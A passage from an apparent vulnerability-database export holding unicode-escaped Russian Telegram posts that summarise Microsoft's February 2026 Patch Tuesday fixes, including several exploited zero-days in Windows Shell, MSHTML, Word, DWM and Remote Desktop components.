\u043a\u043e\u043c\u043f\u043e\u043d\u0435\u043d\u0442\u044b \u0432\u0441\u0451 \u0435\u0449\u0435 \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u044e\u0442 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0430\u043c \u0438\u0441\u043f\u043e\u043b\u043d\u044f\u0442\u044c \u043a\u043e\u0434. \u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0440\u0430\u0437\u0433\u043b\u0430\u0448\u0435\u043d\u0430 \u0442\u0430\u043a\u043e\u0439 \u0436\u0435 \u0441\u0431\u043e\u0440\u043d\u043e\u0439 \u043a\u043e\u043c\u0430\u043d\u0434\u043e\u0439 \u0438\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u0435\u043b\u0435\u0439.\n\n\ud83d\udfe2 CVE-2026-21514 (CVSS 7.8) \u2014 \u043e\u0431\u0445\u043e\u0434 \u0437\u0430\u0449\u0438\u0442\u044b \u0432 Microsoft Word. \u041f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u0437\u0430\u043f\u0443\u0441\u0442\u0438\u0442\u044c \u043e\u043f\u0430\u0441\u043d\u044b\u0435 COM/OLE \u043e\u0431\u044a\u0435\u043a\u0442\u044b. \u0425\u043e\u0440\u043e\u0448\u0430\u044f \u043d\u043e\u0432\u043e\u0441\u0442\u044c: \u0447\u0435\u0440\u0435\u0437 \u043f\u0430\u043d\u0435\u043b\u044c \u043f\u0440\u0435\u0434\u0432\u0430\u0440\u0438\u0442\u0435\u043b\u044c\u043d\u043e\u0433\u043e \u043f\u0440\u043e\u0441\u043c\u043e\u0442\u0440\u0430  \u0430\u0442\u0430\u043a\u0430 \u043d\u0435 \u0440\u0430\u0431\u043e\u0442\u0430\u0435\u0442. \u0417\u0430 \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0435\u043d\u0438\u0435 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u0431\u043b\u0430\u0433\u043e\u0434\u0430\u0440\u044f\u0442 \u0432\u0441\u0451 \u0442\u0435\u0445 \u0436\u0435, \u043d\u043e \u043d\u0435\u043f\u043e\u043d\u044f\u0442\u043d\u043e, \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043b\u0438\u0441\u044c \u043b\u0438 \u044d\u0442\u0438 \u0442\u0440\u0438 \u0434\u0435\u0444\u0435\u043a\u0442\u0430 \u0432 \u043e\u0434\u043d\u043e\u0439 \u0430\u0442\u0430\u043a\u0435, \u0438\u043b\u0438 \u0440\u0430\u0437\u043d\u044b\u0445.\n\n\ud83d\udfe2 CVE-2026-21519 (CVSS 7.8) \u2014 EoP \u0432 Desktop Window Manager. \u0412\u0442\u043e\u0440\u043e\u0439 \u043c\u0435\u0441\u044f\u0446 \u043f\u043e\u0434\u0440\u044f\u0434 \u0432 DWM \u043d\u0430\u0445\u043e\u0434\u044f\u0442 \u0434\u044b\u0440\u0443, \u043a\u043e\u0442\u043e\u0440\u0443\u044e \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u044e\u0442 \u0445\u0430\u043a\u0435\u0440\u044b \u0434\u043b\u044f \u043f\u043e\u043b\u0443\u0447\u0435\u043d\u0438\u044f \u043f\u0440\u0430\u0432 SYSTEM. \u0412\u043e\u0437\u043c\u043e\u0436\u043d\u043e, \u043f\u0440\u043e\u0448\u043b\u044b\u0439 \u043f\u0430\u0442\u0447 \u0431\u044b\u043b \u043d\u0435\u043f\u043e\u043b\u043d\u044b\u043c.\n\n\ud83d\udfe2 CVE-2026-21533 (CVSS 7.8) \u2014 EoP \u0432 \u0441\u043b\u0443\u0436\u0431\u0435 Remote Desktop Services. \u041d\u0435 \u0434\u0430\u0439\u0442\u0435 \u0441\u043b\u043e\u0432\u0443 Remote \u0432\u0430\u0441 \u043e\u0431\u043c\u0430\u043d\u0443\u0442\u044c \u2014 \u044d\u0442\u043e \u043b\u043e\u043a\u0430\u043b\u044c\u043d\u043e\u0435 \u043f\u043e\u0432\u044b\u0448\u0435\u043d\u0438\u0435 \u043f\u0440\u0438\u0432\u0438\u043b\u0435\u0433\u0438\u0439 \u0434\u043e SYSTEM. \n\n\ud83d\udfe2 CVE-2026-21525 (CVSS 6.2) \u2014 \u043e\u0442\u043a\u0430\u0437 \u0432 \u043e\u0431\u0441\u043b\u0443\u0436\u0438\u0432\u0430\u043d\u0438\u0438 \u0432 \u0434\u0438\u0441\u043f\u0435\u0442\u0447\u0435\u0440\u0435 \u043f\u043e\u0434\u043a\u043b\u044e\u0447\u0435\u043d\u0438\u0439 \u0443\u0434\u0430\u043b\u0435\u043d\u043d\u043e\u0433\u043e \u0434\u043e\u0441\u0442\u0443\u043f\u0430. \u0420\u0435\u0434\u043a\u0438\u0439 \u0441\u043b\u0443\u0447\u0430\u0439, \u043a\u043e\u0433\u0434\u0430 \u0432 \u0434\u0438\u043a\u043e\u0439 \u043f\u0440\u0438\u0440\u043e\u0434\u0435 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u044e\u0442 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0434\u043b\u044f DoS  \u0447\u0435\u0440\u0435\u0437 \u0440\u0430\u0437\u044b\u043c\u0435\u043d\u043e\u0432\u0430\u043d\u0438\u0435 \u043d\u0443\u043b\u0435\u0432\u043e\u0433\u043e \u0443\u043a\u0430\u0437\u0430\u0442\u0435\u043b\u044f.\n\n\u2601\ufe0f  \u041e\u0431\u043b\u0430\u043a\u0430 \u0438 \u0418\u0418\n\u041f\u0440\u0438\u043c\u0435\u0447\u0430\u0442\u0435\u043b\u044c\u043d\u043e, \u0447\u0442\u043e \u0432\u0441\u0435 \u043a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u0438\u0435 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u0444\u0435\u0432\u0440\u0430\u043b\u044f \u043e\u0442\u043d\u043e\u0441\u044f\u0442\u0441\u044f \u043a Azure. \u041f\u043e\u0447\u0442\u0438 \u0432\u0441\u0435 \u0443\u0441\u0442\u0440\u0430\u043d\u0435\u043d\u044b Microsoft \u043d\u0430 \u0441\u0432\u043e\u0435\u0439 \u0441\u0442\u043e\u0440\u043e\u043d\u0435 \u0438 \u043d\u0435 \u0442\u0440\u0435\u0431\u0443\u044e\u0442 \u0434\u0435\u0439\u0441\u0442\u0432\u0438\u0439 \u0441\u043e \u0441\u0442\u043e\u0440\u043e\u043d\u044b \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044f, \u0438\u0441\u043a\u043b\u044e\u0447\u0435\u043d\u0438\u0435 \u2014 CVE-2026-21522, \u043b\u043e\u043a\u0430\u043b\u044c\u043d\u043e\u0435 \u043f\u043e\u0432\u044b\u0448\u0435\u043d\u0438\u0435 \u043f\u0440\u0438\u0432\u0438\u043b\u0435\u0433\u0438\u0439 \u0432 ACI Confidential Containers.\n\n\u0422\u0430\u043a\u0436\u0435 Microsoft \u043f\u0440\u043e\u0434\u043e\u043b\u0436\u0430\u0435\u0442 \u043b\u0430\u0442\u0430\u0442\u044c \u0434\u044b\u0440\u044b \u0432 \u0438\u043d\u0441\u0442\u0440\u0443\u043c\u0435\u043d\u0442\u0430\u0445 \u0440\u0430\u0437\u0440\u0430\u0431\u043e\u0442\u043a\u0438 \u0441 \u0418\u0418. \u0417\u0430\u043a\u0440\u044b\u0442\u043e \u043d\u0435\u0441\u043a\u043e\u043b\u044c\u043a\u043e RCE \u0432 GitHub Copilot \u0438 Visual Studio (\u043d\u0430\u043f\u0440\u0438\u043c\u0435\u0440, CVE-2026-21523 \u0438 CVE-2026-21516), \u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u044e\u0442 \u0432\u044b\u043f\u043e\u043b\u043d\u0438\u0442\u044c \u043a\u043e\u0434 \u043f\u0440\u0438 \u0440\u0430\u0431\u043e\u0442\u0435 \u0441 IDE. \u0412\u043f\u0440\u043e\u0447\u0435\u043c, \u043e\u043d\u0438 \u043e\u0442\u043d\u043e\u0441\u044f\u0442\u0441\u044f \u043a \u043a\u043b\u0430\u0441\u0441\u0438\u0447\u0435\u0441\u043a\u0438\u043c \u0442\u0438\u043f\u0430\u043c \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439, \u044d\u0442\u043e \u043d\u0435 \u043f\u0440\u043e\u043c\u043f\u0442-\u0438\u043d\u044a\u0435\u043a\u0446\u0438\u0438.\n\n\ud83d\udd10 Secure Boot\n\u0421 \u044d\u0442\u0438\u043c \u0430\u043f\u0434\u0435\u0439\u0442\u043e\u043c \u0430\u043a\u0442\u0438\u0432\u0438\u0437\u0438\u0440\u0443\u0435\u0442\u0441\u044f \u043e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u0435 \u0441\u0435\u0440\u0442\u0438\u0444\u0438\u043a\u0430\u0442\u043e\u0432 Secure Boot. \u0421\u0442\u0430\u0440\u044b\u0435 \u0441\u0435\u0440\u0442\u0438\u0444\u0438\u043a\u0430\u0442\u044b 2011 \u0433\u043e\u0434\u0430 \u0438\u0441\u0442\u0435\u043a\u0430\u044e\u0442 \u0432 \u0438\u044e\u043d\u0435 2026, \u043f\u043e\u044d\u0442\u043e\u043c\u0443 Windows \u043d\u0430\u0447\u0438\u043d\u0430\u0435\u0442 \u043e\u0431\u043d\u043e\u0432\u043b\u044f\u0442\u044c \u0438\u0445 \u0442\u0430\u043c, \u0433\u0434\u0435 \u044d\u0442\u043e \u043d\u0435 \u0441\u043e\u0437\u0434\u0430\u0451\u0442 \u0440\u0438\u0441\u043a\u0430 \u00ab\u043e\u043a\u0438\u0440\u043f\u0438\u0447\u0438\u0442\u044c\u00bb \u043a\u043e\u043c\u043f\u044c\u044e\u0442\u0435\u0440. \u0412 \u0440\u0430\u043c\u043a\u0430\u0445 \u043e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u044f Microsoft \u0438\u0434\u0435\u043d\u0442\u0438\u0444\u0438\u0446\u0438\u0440\u0443\u0435\u0442 \u043c\u0430\u0448\u0438\u043d\u044b, \u0433\u0434\u0435 \u043f\u043e \u043d\u0435\u0441\u043a\u043e\u043b\u044c\u043a\u0438\u043c \u043f\u0440\u0438\u0437\u043d\u0430\u043a\u0430\u043c \u0443\u0441\u0442\u0430\u043d\u043e\u0432\u043a\u0430 \u043e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u044f \u0441\u0447\u0438\u0442\u0430\u0435\u0442\u0441\u044f \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0439, \u0438 \u0442\u043e\u0433\u0434\u0430 \u043f\u0440\u0438\u0441\u044b\u043b\u0430\u0435\u0442 \u0441\u0430\u043c\u0438 \u0441\u0435\u0440\u0442\u0438\u0444\u0438\u043a\u0430\u0442\u044b. \n\n#Microsoft #\u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 @\u041f2\u0422", "creation_timestamp": "2026-02-11T07:10:04.000000Z"}, {"uuid": "1c78b8fa-0f6f-47da-a1dd-69ee2f4a74d0", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-21533", "type": "seen", "source": "https://t.me/true_secator/7897", "content": "\u0412 \u0440\u0430\u043c\u043a\u0430\u0445 \u0444\u0435\u0432\u0440\u0430\u043b\u044c\u0441\u043a\u043e\u0433\u043e PatchTuesday \u0432 \u044d\u0442\u043e\u043c \u043c\u0435\u0441\u044f\u0446\u0435 Microsoft \u0443\u0441\u0442\u0440\u0430\u043d\u0438\u043b\u0430 58 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439, \u0432 \u0442\u043e\u043c \u0447\u0438\u0441\u043b\u0435 6 \u0430\u043a\u0442\u0438\u0432\u043d\u043e \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u043c\u044b\u0445 \u0438 \u0442\u0440\u0435\u0445 \u043f\u0443\u0431\u043b\u0438\u0447\u043d\u043e \u0440\u0430\u0441\u043a\u0440\u044b\u0442\u044b\u0445 0-day: CVE-2026-21510, CVE-2026-21514, CVE-2026-21513, CVE-2026-21519, CVE-2026-21533 \u0438 CVE-2026-21525.\n\n\u0412 \u043d\u043e\u0432\u043e\u043c \u043e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u0438 \u0442\u0430\u043a\u0436\u0435 \u0438\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u044b \u043f\u044f\u0442\u044c \u043a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u0438\u0445 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439, \u0442\u0440\u0438 \u0438\u0437 \u043a\u043e\u0442\u043e\u0440\u044b\u0445 \u0441\u0432\u044f\u0437\u0430\u043d\u044b \u0441 EoP, \u0430 \u0434\u0432\u0435 - \u0441 \u0440\u0430\u0441\u043a\u0440\u044b\u0442\u0438\u0435\u043c \u0438\u043d\u0444\u043e\u0440\u043c\u0430\u0446\u0438\u0438. \u0412 \u0446\u0435\u043b\u043e\u043c \u0440\u0430\u0441\u043f\u0440\u0435\u0434\u0435\u043b\u0435\u043d\u0438\u0435 \u043f\u043e \u043a\u0430\u0442\u0435\u0433\u043e\u0440\u0438\u044f\u043c \u0432\u044b\u0433\u043b\u044f\u0434\u0438\u0442 \u0441\u043b\u0435\u0434\u0443\u044e\u0449\u0438\u043c \u043e\u0431\u0440\u0430\u0437\u043e\u043c: 25 - EoP, 5 - \u043e\u0431\u0445\u043e\u0434 \u0444\u0443\u043d\u043a\u0446\u0438\u0438 \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438, 12 - RCE, 6 - \u0440\u0430\u0441\u043a\u0440\u044b\u0442\u0438\u0435 \u0438\u043d\u0444\u043e\u0440\u043c\u0430\u0446\u0438\u0438, 3 - DoS \u0438 7 - \u043f\u043e\u0434\u043c\u0435\u043d\u0430 \u0434\u0430\u043d\u043d\u044b\u0445.\n\n\u041a\u0440\u043e\u043c\u0435 \u0442\u043e\u0433\u043e, 3 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u0438\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u044b \u0432 Microsoft Edge, \u043e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u044b \u0441\u0435\u0440\u0442\u0438\u0444\u0438\u043a\u0430\u0442\u044b Secure Boot,\u00a0\u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u0437\u0430\u043c\u0435\u043d\u044f\u0442 \u043e\u0440\u0438\u0433\u0438\u043d\u0430\u043b\u044c\u043d\u044b\u0435 \u043e\u0442 2011 \u0433\u043e\u0434\u0430, \u0441\u0440\u043e\u043a \u0434\u0435\u0439\u0441\u0442\u0432\u0438\u044f \u043a\u043e\u0442\u043e\u0440\u044b\u0445 \u0438\u0441\u0442\u0435\u043a\u0430\u0435\u0442 \u0432 \u0438\u044e\u043d\u0435 2026 \u0433\u043e\u0434\u0430, \u0430 \u0442\u0430\u043a\u0436\u0435 \u0432\u044b\u043f\u0443\u0449\u0435\u043d\u044b \u0440\u0430\u0441\u0448\u0438\u0440\u0435\u043d\u043d\u044b\u0435 \u043e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u044f \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438 Windows 10.\n\n\u0421\u0440\u0435\u0434\u0438 \u043d\u0443\u043b\u0435\u0439 \u043d\u0430 \u044d\u0442\u043e\u0442 \u0440\u0430\u0437 \u043a\u0443\u0447\u043d\u043e:\n\n- CVE-2026-21510: \u043e\u0431\u0445\u043e\u0434 \u0437\u0430\u043f\u0440\u043e\u0441\u043e\u0432 \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438 Windows SmartScreen \u0438 Windows Shell.\n\n\u041f\u0440\u043e\u0431\u043b\u0435\u043c\u0430 \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u043e\u0431\u043e\u0439\u0442\u0438 \u0444\u0443\u043d\u043a\u0446\u0438\u044e \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438 Windows \u0438 \u043c\u043e\u0436\u0435\u0442 \u0431\u044b\u0442\u044c \u0430\u043a\u0442\u0438\u0432\u0438\u0440\u043e\u0432\u0430\u043d\u0430 \u043f\u0440\u0438 \u043e\u0442\u043a\u0440\u044b\u0442\u0438\u0438 \u0441\u043f\u0435\u0446\u0438\u0430\u043b\u044c\u043d\u043e \u0441\u043e\u0437\u0434\u0430\u043d\u043d\u043e\u0439 \u0441\u0441\u044b\u043b\u043a\u0438 \u0438\u043b\u0438 \u0444\u0430\u0439\u043b\u0430 \u044f\u0440\u043b\u044b\u043a\u0430. \u0412\u0435\u0440\u043e\u044f\u0442\u043d\u043e, \u043f\u0440\u0438\u0432\u043e\u0434\u0438\u0442 \u043a \u043e\u0431\u0445\u043e\u0434\u0443 Mark of the Web.\n\n\u0417\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a \u043c\u043e\u0436\u0435\u0442 \u043e\u0431\u043e\u0439\u0442\u0438 \u0437\u0430\u043f\u0440\u043e\u0441\u044b \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438 Windows SmartScreen \u0438 Windows Shell, \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u044f \u043d\u0435\u043a\u043e\u0440\u0440\u0435\u043a\u0442\u043d\u0443\u044e \u043e\u0431\u0440\u0430\u0431\u043e\u0442\u043a\u0443 \u0432 \u043a\u043e\u043c\u043f\u043e\u043d\u0435\u043d\u0442\u0430\u0445 Windows Shell, \u0447\u0442\u043e \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u0432\u044b\u043f\u043e\u043b\u043d\u044f\u0442\u044c \u043a\u043e\u043d\u0442\u0435\u043d\u0442, \u043a\u043e\u043d\u0442\u0440\u043e\u043b\u0438\u0440\u0443\u0435\u043c\u044b\u0439 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u043e\u043c, \u0431\u0435\u0437 \u043f\u0440\u0435\u0434\u0443\u043f\u0440\u0435\u0436\u0434\u0435\u043d\u0438\u044f \u0438\u043b\u0438 \u0441\u043e\u0433\u043b\u0430\u0441\u0438\u044f \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044f.\n\n\u041e\u0431\u043d\u0430\u0440\u0443\u0436\u0435\u043d\u0438\u0435 \u043f\u0440\u0438\u043f\u0438\u0441\u044b\u0432\u0430\u0435\u0442\u0441\u044f Microsoft MSTIC \u0438 MSRC, \u0433\u0440\u0443\u043f\u043f\u0435 \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438 Office, Google \u0438 \u0430\u043d\u043e\u043d\u0438\u043c\u043d\u043e\u043c\u0443 \u0438\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u0435\u043b\u044e, \u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u0442\u0430\u043a\u0436\u0435 \u0440\u0430\u0441\u043a\u0440\u044b\u043b\u0438 \n CVE-2026-21513 \u0438 CVE-2026-21514.\n\n- CVE-2026-21513: \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0432 Internet Explorer \u0434\u043b\u044f \u043e\u0431\u0445\u043e\u0434\u0430 \u0441\u0440\u0435\u0434\u0441\u0442\u0432 \u0437\u0430\u0449\u0438\u0442\u044b \u0438 \u043f\u043e\u0442\u0435\u043d\u0446\u0438\u0430\u043b\u044c\u043d\u043e\u0433\u043e \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044f \u043a\u043e\u0434\u0430 \u0447\u0435\u0440\u0435\u0437 \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u044b\u0435 HTML- \u0438\u043b\u0438 LNK-\u0444\u0430\u0439\u043b\u044b.\n\n\u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0441\u0432\u044f\u0437\u0430\u043d\u0430 \u0441\u043e \u0441\u0431\u043e\u0435\u043c \u0432 \u043c\u0435\u0445\u0430\u043d\u0438\u0437\u043c\u0435 \u0437\u0430\u0449\u0438\u0442\u044b MSHTML Framework, \u043e\u0442\u043a\u0440\u044b\u0432\u0430\u044f \u043d\u0435\u0430\u0432\u0442\u043e\u0440\u0438\u0437\u043e\u0432\u0430\u043d\u043d\u043e\u043c\u0443 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0443 \u0432\u043e\u0437\u043c\u043e\u0436\u043d\u043e\u0441\u0442\u044c \u043e\u0431\u043e\u0439\u0442\u0438 \u0444\u0443\u043d\u043a\u0446\u0438\u044e \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438 \u0432 \u0441\u0435\u0442\u0438. \u0414\u0430\u043d\u043d\u044b\u0435 \u043e \u0442\u043e\u043c, \u043a\u0430\u043a \u0438\u043c\u0435\u043d\u043d\u043e \u043e\u043d\u0430 \u0431\u044b\u043b\u0430 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0430 \u043d\u0435 \u0440\u0430\u0441\u043a\u0440\u044b\u0432\u0430\u044e\u0442\u0441\u044f.\n\n- CVE-2026-21514: \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0432 Microsoft Word, \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u044e\u0449\u0430\u044f \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0443 \u043e\u0431\u043e\u0439\u0442\u0438 \u043c\u0435\u0440\u044b \u0437\u0430\u0449\u0438\u0442\u044b OLE.\n\n\u0414\u043b\u044f \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u0438 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0443 \u043d\u0435\u043e\u0431\u0445\u043e\u0434\u0438\u043c\u043e \u043e\u0442\u043f\u0440\u0430\u0432\u0438\u0442\u044c \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044e \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u044b\u0439 \u0444\u0430\u0439\u043b Office \u0438 \u0443\u0431\u0435\u0434\u0438\u0442\u044c \u0435\u0433\u043e \u043e\u0442\u043a\u0440\u044b\u0442\u044c \u0435\u0433\u043e.\n\nMicrosoft \u0437\u0430\u044f\u0432\u043b\u044f\u0435\u0442, \u0447\u0442\u043e \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u043d\u0435\u0432\u043e\u0437\u043c\u043e\u0436\u043d\u043e \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u044c \u0432 \u043f\u0430\u043d\u0435\u043b\u0438 \u043f\u0440\u0435\u0434\u0432\u0430\u0440\u0438\u0442\u0435\u043b\u044c\u043d\u043e\u0433\u043e \u043f\u0440\u043e\u0441\u043c\u043e\u0442\u0440\u0430 Office. \u041f\u043e\u0441\u043a\u043e\u043b\u044c\u043a\u0443 \u043d\u0438\u043a\u0430\u043a\u0438\u0445 \u043f\u043e\u0434\u0440\u043e\u0431\u043d\u043e\u0441\u0442\u0435\u0439 \u043d\u0435 \u0431\u044b\u043b\u043e \u043f\u0440\u0438\u0432\u0435\u0434\u0435\u043d\u043e, \u043f\u0440\u0435\u0434\u043f\u043e\u043b\u0430\u0433\u0430\u0435\u0442\u0441\u044f, \u0447\u0442\u043e CVE-2026-21510, CVE-2026-21513 \u0438 CVE-2026-21514 \u043c\u043e\u0433\u043b\u0438 \u0431\u044b\u0442\u044c \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u044b \u0432 \u0440\u0430\u043c\u043a\u0430\u0445 \u043e\u0434\u043d\u043e\u0439 \u043a\u0430\u043c\u043f\u0430\u043d\u0438\u0438.\n\n- CVE-2026-21519: \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u043f\u043e\u0432\u044b\u0448\u0435\u043d\u0438\u044f \u043f\u0440\u0438\u0432\u0438\u043b\u0435\u0433\u0438\u0439 \u0432 \u0434\u0438\u0441\u043f\u0435\u0442\u0447\u0435\u0440\u0435 \u043e\u043a\u043e\u043d \u0440\u0430\u0431\u043e\u0447\u0435\u0433\u043e \u0441\u0442\u043e\u043b\u0430 Windows.\n\n\u0417\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a, \u0443\u0441\u043f\u0435\u0448\u043d\u043e \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0432\u0448\u0438\u0439 \u044d\u0442\u0443 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c, \u043c\u043e\u0436\u0435\u0442 \u043f\u043e\u043b\u0443\u0447\u0438\u0442\u044c \u0441\u0438\u0441\u0442\u0435\u043c\u043d\u044b\u0435 \u043f\u0440\u0438\u0432\u0438\u043b\u0435\u0433\u0438\u0438. \u041d\u0438\u043a\u0430\u043a\u0438\u0445 \u043f\u043e\u0434\u0440\u043e\u0431\u043d\u043e\u0441\u0442\u0435\u0439 \u043e \u0442\u043e\u043c, \u043a\u0430\u043a \u0438\u043c\u0435\u043d\u043d\u043e \u0431\u044b\u043b\u0430 \u0441\u043e\u0432\u0435\u0440\u0448\u0435\u043d\u0430 \u0430\u0442\u0430\u043a\u0430, \u043d\u0435 \u0441\u043e\u043e\u0431\u0449\u0430\u0435\u0442\u0441\u044f.\n\nMicrosoft \u0443\u043f\u043e\u043c\u0438\u043d\u0430\u0435\u0442 \u043b\u0438\u0448\u044c \u0442\u043e, \u0447\u0442\u043e \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0435\u043d\u0438\u0435 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u043f\u0440\u0438\u043f\u0438\u0441\u044b\u0432\u0430\u0435\u0442\u0441\u044f \u0446\u0435\u043d\u0442\u0440\u0430\u043c Microsoft MSTIC \u0438 MSRC.\n\n- CVE-2026-21525: DoS-\u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0432 \u0434\u0438\u0441\u043f\u0435\u0442\u0447\u0435\u0440\u0435 \u043f\u043e\u0434\u043a\u043b\u044e\u0447\u0435\u043d\u0438\u0439 \u0443\u0434\u0430\u043b\u0435\u043d\u043d\u043e\u0433\u043e \u0434\u043e\u0441\u0442\u0443\u043f\u0430 Windows.\n\n\u0420\u0430\u0437\u044b\u043c\u0435\u043d\u043e\u0432\u0430\u043d\u0438\u0435 \u043d\u0443\u043b\u0435\u0432\u043e\u0433\u043e \u0443\u043a\u0430\u0437\u0430\u0442\u0435\u043b\u044f \u0432 \u0434\u0438\u0441\u043f\u0435\u0442\u0447\u0435\u0440\u0435 \u043f\u043e\u0434\u043a\u043b\u044e\u0447\u0435\u043d\u0438\u0439 \u0443\u0434\u0430\u043b\u0435\u043d\u043d\u043e\u0433\u043e \u0434\u043e\u0441\u0442\u0443\u043f\u0430 Windows \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u043d\u0435\u0430\u0432\u0442\u043e\u0440\u0438\u0437\u043e\u0432\u0430\u043d\u043d\u043e\u043c\u0443 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0443 \u0437\u0430\u043f\u0440\u0435\u0442\u0438\u0442\u044c \u043b\u043e\u043a\u0430\u043b\u044c\u043d\u043e\u0435 \u043e\u0431\u0441\u043b\u0443\u0436\u0438\u0432\u0430\u043d\u0438\u0435.\n\nMicrosoft \u043f\u0440\u0438\u043f\u0438\u0441\u0430\u043b\u0430 \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0435\u043d\u0438\u0435 ACROS, \u0440\u0430\u0431\u043e\u0442\u0430\u044e\u0449\u0435\u0439 \u0441 0patch.\n\n\u0418\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u0435\u043b\u0438 \u043e\u0442\u044b\u0441\u043a\u0430\u043b\u0438 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0432 \u043e\u0431\u0449\u0435\u0434\u043e\u0441\u0442\u0443\u043f\u043d\u043e\u043c \u0440\u0435\u043f\u043e\u0437\u0438\u0442\u043e\u0440\u0438\u0438 \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u043e\u0433\u043e \u041f\u041e \u0432 \u0445\u043e\u0434\u0435 \u043f\u043e\u0438\u0441\u043a\u0430 \u044d\u043a\u0441\u043f\u043b\u043e\u0439\u0442\u0430 \u0434\u043b\u044f CVE-2025-59230, \u043d\u043e \u043e\u043d \u043d\u0435 \u043e\u0441\u0432\u0435\u0434\u043e\u043c\u043b\u0435\u043d\u044b, 